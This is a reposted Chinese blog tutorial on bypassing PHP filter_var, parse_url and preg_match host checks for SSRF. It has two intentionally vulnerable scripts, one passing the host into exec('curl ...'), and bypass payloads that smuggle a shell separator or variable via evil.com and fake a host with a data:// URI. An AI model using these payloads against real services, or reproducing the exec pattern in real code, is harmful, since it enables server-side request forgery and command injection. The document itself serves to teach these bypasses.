【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()(转载)

  • by

直接参考:https://www.jianshu.com/p/80ce73919edb

一.在bash中的绕过
二.data://伪协议和xss利用

一.在bash中的绕过

<?php

echo "Argument: ".$argv[1]."\n";

//check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)){

//parse URL
$r = parse_url($argv[1]);
print_r($r);

//check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])){

//get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
}else{
echo "Error: Host not allowed";
}
}else{
echo "Error: Invalid URL";
}

?>

1.

0://evil.com;baidu.com(逗号测试)
绕过:
(filter_var($argv[1], FILTER_VALIDATE_URL))

2.

不是http的话默认端口就不是80,改:
0://evil.com:80;baidu.com:80

3.

bash绕过parse_url
0://evil$baidu.com

$baidu定义为空 直接是0://evil.com

原文作者提示: 只有在php脚本中使用exec()、system()等命令执行的函数执行curl或者wget命令时才可以完成

二.data://伪协议和xss利用

<?php
echo "Argument: ".$argv[1]."\n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com(host not allowed)
换成(原文作者写到:php是不关心MIME类型)
data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K

2019.9.9

标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注